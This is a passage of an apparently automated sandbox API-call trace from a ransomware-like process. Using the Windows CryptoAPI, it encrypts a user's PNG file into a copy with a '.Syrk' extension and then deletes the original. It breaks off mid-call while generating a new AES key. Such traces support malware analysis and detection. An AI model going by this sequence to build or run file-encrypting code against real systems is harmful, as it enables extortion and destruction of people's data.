returned 0x0 [0250.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0250.834] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.834] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0250.835] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0250.837] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0250.906] CryptImportKey (in: hProv=0x5c4d100, pbData=0x2503638*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99560) returned 1 [0250.906] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.906] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.907] EtwEventActivityIdControl () returned 0x0 [0250.907] EtwEventActivityIdControl () returned 0x0 [0250.907] EtwEventActivityIdControl () returned 0x0 [0250.913] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png")) returned 0x20 [0250.914] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png")) returned 0x20 [0250.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0250.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0250.914] EtwEventActivityIdControl () returned 0x0 [0250.915] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.915] EtwEventActivityIdControl () returned 0x0 [0250.915] EtwEventActivityIdControl () returned 0x0 [0250.915] EtwEventActivityIdControl () returned 0x0 [0250.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0250.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0250.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0250.918] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0250.919] GetFileType (hFile=0x3c4) returned 0x1 [0250.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0250.919] GetFileType (hFile=0x3c4) returned 0x1 [0250.919] EtwEventActivityIdControl () returned 0x0 [0250.919] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.920] EtwEventActivityIdControl () returned 0x0 [0250.920] EtwEventActivityIdControl () returned 0x0 [0250.920] EtwEventActivityIdControl () returned 0x0 [0250.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0250.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk", lpFilePart=0x0) returned 0x39 [0250.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0250.921] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0250.922] GetFileType (hFile=0x454) returned 0x1 [0250.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0250.922] GetFileType (hFile=0x454) returned 0x1 [0250.922] EtwEventActivityIdControl () returned 0x0 [0250.922] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x25140ec | out: pbBuffer=0x25140ec) returned 1 [0250.923] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.923] CryptDuplicateKey (in: hKey=0x5c99560, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995a0) returned 1 [0250.923] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.923] CryptSetKeyParam (hKey=0x5c995a0, dwParam=0x4, pbData=0x2515424*=0x1, dwFlags=0x0) returned 1 [0250.924] CryptSetKeyParam (hKey=0x5c995a0, dwParam=0x1, pbData=0x25153f0, dwFlags=0x0) returned 1 [0250.924] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.924] EtwEventActivityIdControl () returned 0x0 [0250.924] EtwEventActivityIdControl () returned 0x0 [0250.924] EtwEventActivityIdControl () returned 0x0 [0250.925] EtwEventActivityIdControl () returned 0x0 [0250.925] ReadFile (in: hFile=0x3c4, lpBuffer=0x2518060, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2518060*, lpNumberOfBytesRead=0x5a2e7d8*=0xb59c, lpOverlapped=0x0) returned 1 [0250.927] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252c078*, pdwDataLen=0x5a2e7cc*=0xb590, dwBufLen=0xb590 | out: pbData=0x252c078*, pdwDataLen=0x5a2e7cc*=0xb590) returned 1 [0250.928] WriteFile (in: hFile=0x454, lpBuffer=0x25141d4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x25141d4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0250.930] WriteFile (in: hFile=0x454, lpBuffer=0x252d064*, nNumberOfBytesToWrite=0xa5a4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x252d064*, lpNumberOfBytesWritten=0x5a2e7b0*=0xa5a4, lpOverlapped=0x0) returned 1 [0250.932] ReadFile (in: hFile=0x3c4, lpBuffer=0x2518060, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2518060*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0250.932] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2537614*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2537614*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0250.932] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2537630*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2537630*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0250.932] WriteFile (in: hFile=0x454, lpBuffer=0x25141d4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x25141d4*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0250.932] CloseHandle (hObject=0x454) returned 1 [0250.934] CloseHandle (hObject=0x3c4) returned 1 [0250.934] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.934] EtwEventActivityIdControl () returned 0x0 [0250.935] EtwEventActivityIdControl () returned 0x0 [0250.935] EtwEventActivityIdControl () returned 0x0 [0250.940] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png")) returned 0x20 [0250.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0250.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0250.943] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0250.943] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0250.943] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0250.943] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0250.943] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0250.943] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0250.943] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0250.943] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0250.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0250.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0250.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0250.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0250.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0250.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0250.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0250.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0250.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png")) returned 0x20 [0250.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0250.945] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0251.002] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0251.002] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0251.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0251.002] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0251.002] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0251.002] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0251.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0251.002] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0251.003] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0251.003] CoTaskMemFree (pv=0x3b0008) [0251.005] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png")) returned 0x20 [0251.005] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0251.005] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png", lpFilePart=0x0) returned 0x34 [0251.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0251.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png"), fInfoLevelId=0x0, lpFileInformation=0x25432c0 | out: lpFileInformation=0x25432c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997a8100, ftCreationTime.dwHighDateTime=0x1d99784, ftLastAccessTime.dwLowDateTime=0x97e18970, ftLastAccessTime.dwHighDateTime=0x1d998a0, ftLastWriteTime.dwLowDateTime=0x97e18970, ftLastWriteTime.dwHighDateTime=0x1d998a0, nFileSizeHigh=0x0, nFileSizeLow=0xb59c)) returned 1 [0251.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0251.005] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png")) returned 1 [0251.007] EtwEventActivityIdControl () returned 0x0 [0251.008] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.008] EtwEventActivityIdControl () returned 0x0 [0251.008] EtwEventActivityIdControl () returned 0x0 [0251.008] EtwEventActivityIdControl () returned 0x0 [0251.015] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png.syrk")) returned 0x20 [0251.016] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png.syrk")) returned 0x20 [0251.016] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0251.016] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk", lpFilePart=0x0) returned 0x39 [0251.017] EtwEventActivityIdControl () returned 0x0 [0251.017] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.017] EtwEventActivityIdControl () returned 0x0 [0251.017] EtwEventActivityIdControl () returned 0x0 [0251.017] EtwEventActivityIdControl () returned 0x0 [0251.022] EtwEventActivityIdControl () returned 0x0 [0251.022] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.022] EtwEventActivityIdControl () returned 0x0 [0251.022] EtwEventActivityIdControl () returned 0x0 [0251.022] EtwEventActivityIdControl () returned 0x0 [0251.028] EtwEventActivityIdControl () returned 0x0 [0251.028] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.028] EtwEventActivityIdControl () returned 0x0 [0251.029] EtwEventActivityIdControl () returned 0x0 [0251.029] EtwEventActivityIdControl () returned 0x0 [0251.034] EtwEventActivityIdControl () returned 0x0 [0251.034] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.034] EtwEventActivityIdControl () returned 0x0 [0251.034] EtwEventActivityIdControl () returned 0x0 [0251.035] EtwEventActivityIdControl () returned 0x0 [0251.039] EtwEventActivityIdControl () returned 0x0 [0251.039] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.040] EtwEventActivityIdControl () returned 0x0 [0251.040] EtwEventActivityIdControl () returned 0x0 [0251.040] EtwEventActivityIdControl () returned 0x0 [0251.095] EtwEventActivityIdControl () returned 0x0 [0251.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0251.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\IE3K6N7c0_b GIZGjbF-.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\ie3k6n7c0_b gizgjbf-.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x235e968 | out: lpFileInformation=0x235e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x113bcab0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x113bcab0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x113e2c10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4)) returned 1 [0251.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0251.156] GetConsoleOutputCP () returned 0x1b5 [0251.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.169] GetConsoleOutputCP () returned 0x1b5 [0251.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.169] GetConsoleOutputCP () returned 0x1b5 [0251.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.169] GetConsoleOutputCP () returned 0x1b5 [0251.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.169] GetConsoleOutputCP () returned 0x1b5 [0251.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.170] GetConsoleOutputCP () returned 0x1b5 [0251.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.170] GetConsoleOutputCP () returned 0x1b5 [0251.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.170] GetConsoleOutputCP () returned 0x1b5 [0251.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.171] GetConsoleOutputCP () returned 0x1b5 [0251.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.171] GetConsoleOutputCP () returned 0x1b5 [0251.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.171] GetConsoleOutputCP () returned 0x1b5 [0251.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.171] GetConsoleOutputCP () returned 0x1b5 [0251.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.172] GetConsoleOutputCP () returned 0x1b5 [0251.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.172] GetConsoleOutputCP () returned 0x1b5 [0251.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.172] GetConsoleOutputCP () returned 0x1b5 [0251.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.172] GetConsoleOutputCP () returned 0x1b5 [0251.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.172] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0251.173] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0251.173] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2368ba4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2368ba4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0251.174] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0251.174] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0251.175] EtwEventActivityIdControl () returned 0x0 [0251.175] EtwEventActivityIdControl () returned 0x0 [0251.176] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.176] EtwEventActivityIdControl () returned 0x0 [0251.176] EtwEventActivityIdControl () returned 0x0 [0251.176] EtwEventActivityIdControl () returned 0x0 [0251.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.179] EtwEventActivityIdControl () returned 0x0 [0251.179] EtwEventActivityIdControl () returned 0x0 [0251.179] EtwEventActivityIdControl () returned 0x0 [0251.182] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0251.183] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a60) returned 1 [0251.183] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.183] CryptExportKey (in: 